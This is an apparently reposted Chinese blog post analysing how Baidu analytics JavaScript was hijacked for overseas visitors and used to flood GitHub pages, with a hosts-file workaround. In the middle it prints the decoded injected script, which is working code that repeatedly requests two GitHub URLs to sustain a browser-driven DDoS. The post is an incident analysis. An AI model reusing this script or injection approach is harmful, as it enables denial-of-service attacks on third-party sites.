一招解决WARNING: malicious javascript detected on this domain
瀏覽網站的時候不斷彈出"WARNING: malicious javascript detected on this domain"窗口,這是中毒了嗎?這其實是百度統計JS代碼被劫持用來DDOS Github。具體原因是百度聯盟的JS被劫持用于對GitHub進行DDOS攻擊。而又有很多網站使用了百度聯盟,于是很多網站都加載了用于攻擊的JS腳本。有意思的是,似乎只有境外IP訪問百度聯盟網站時才會出現被劫持的情況。
臨時解決方法:
1.修改hosts
在Hosts文件中添加如下條目:
127.0.0.1hm.baidu.com 127.0.0.1cbjs.baidu.com 127.0.0.1dup.baidustatic.com
參考hosts文件修改圖文教程、android手機怎么修改hosts、蘋果Macb電腦修改Hosts教程
注意:如果上述方法無效,還煩請大家積極反饋。加入一條"127.0.0.1 github.com"肯定是能解決問題的,但副作用太大。>
2.禁止彈窗
谷歌Chrome瀏覽器或者360極速瀏覽器等可以屏蔽持續彈出的彈窗,多點擊幾次確定,然后Chrome就會提示“不再出現警告”。
詳細原因分析:今天中午刷著全國比較大的信息安全從業人員同性交友社區zone.wooyun.org的時候,忽然瀏覽器每隔2秒就不斷的彈窗:
maliciousjavascriptdetectedonthisdomain
我第一反應就是不知道哪個調皮的基友又把zone給XSS了,馬上打開開發者工具分析。
0x01 細節之后立刻發現彈窗的js居然是從github加載的:
可是為什么烏云會從github加載js呢,并且還是從greatfire和紐約時報鏡像加載。
第一反應是頁面有xss或者js被劫持了,找了半天終于找到了,居然是
hm.baidu.com/h.js
這個js的確被烏云加載了沒錯,這是百度統計的js代碼,打開后里面是一個簡單加密后的js,eval了一串編碼后的內容,隨便找了個在線解密看了下,發現如下內容:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 | document.write("<script src=&#39;http://libs.baidu.com/jquery/2.0.0/jquery.min.js&#39;>x3c/script>"); !window.jQuery && document.write("<script src=&#39;http://code.jquery.com/jquery-latest.js&#39;>x3c/script>"); startime = (new Date).getTime(); var count = 0; function unixtime() { var a = new Date; return Date.UTC(a.getFullYear(), a.getMonth(), a.getDay(), a.getHours(), a.getMinutes(), a.getSeconds()) / 1E3 } url_array = ["https://github.com/greatfire/", "https://github.com/cn-nytimes/"]; NUM = url_array.length; function r_send2() { var a = unixtime() % NUM; get(url_array[a]) } function get(a) { var b; $.ajax({ url: a, dataType: "script", timeout: 1E4, cache: !0, beforeSend: function() { requestTime = (new Date).getTime() }, complete: function() { responseTime = (new Date).getTime(); b = Math.floor(responseTime - requestTime); 3E5 > responseTime - startime && (r_send(b), count += 1) } }) } function r_send(a) { setTimeout("r_send2()", a) } setTimeout("r_send2()", 2E3); |
大概功能就是關閉緩存后每隔2秒加載一次
url_array=["https://github.com/greatfire/","https://github.com/cn-nytimes/"];
里面的兩個url
問了下墻內的小伙伴們,他們看到的js都是正常的,但是通過墻外ip訪問
http://hm.baidu.com/h.js
就會得到上面的js文件,每隔2秒請求一下這兩個url。
打開twitter看了下,似乎從3月18號以來Github就受到了DDoS攻擊,之后greatfire把被攻擊的頁面內容換成了
1 | alert("WARNING: malicious javascript detected on this domain") |
以彈窗的方式阻止了js的循環執行。
圖3 國外ip traceroute到hm.baidu.com的記錄
似乎DNS并沒有被劫持,看來是像之前一樣直接把IP劫持了或者直接在HTTP協議里替換文件。
掃了下端口,只開了80和443,通過https協議訪問后是正常的空頁面(只有帶referer才會出現js文件)。
作者要進行抓包分析時劫持已經停止,在twitter上看到有人已經分析過引用如下:
抓包跟蹤,正常百度服務器返回給我日本VPS的TTL為51, RESP返回HTTP 200 OK的報文的TTL是47,可以確定的是有中間設備對VPS發了偽造報文。
真是無恥,呵呵
忽然想起一句話,之前DNS被劫持到外國服務器的時候某站長說的:
Theyhaveweaponizedtheirentirepopulation.
現在應該是:
TheyhaveweaponizedtheirentirepopulationoftheEarth.
總結
以上是生活随笔為你收集整理的一招解决WARNING: malicious javascript detected on this domain的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 隐秘的档案野外奇遇攻略-隐秘的档案野外奇
- 下一篇: 为什么圣诞节就没有了我都没领BZ176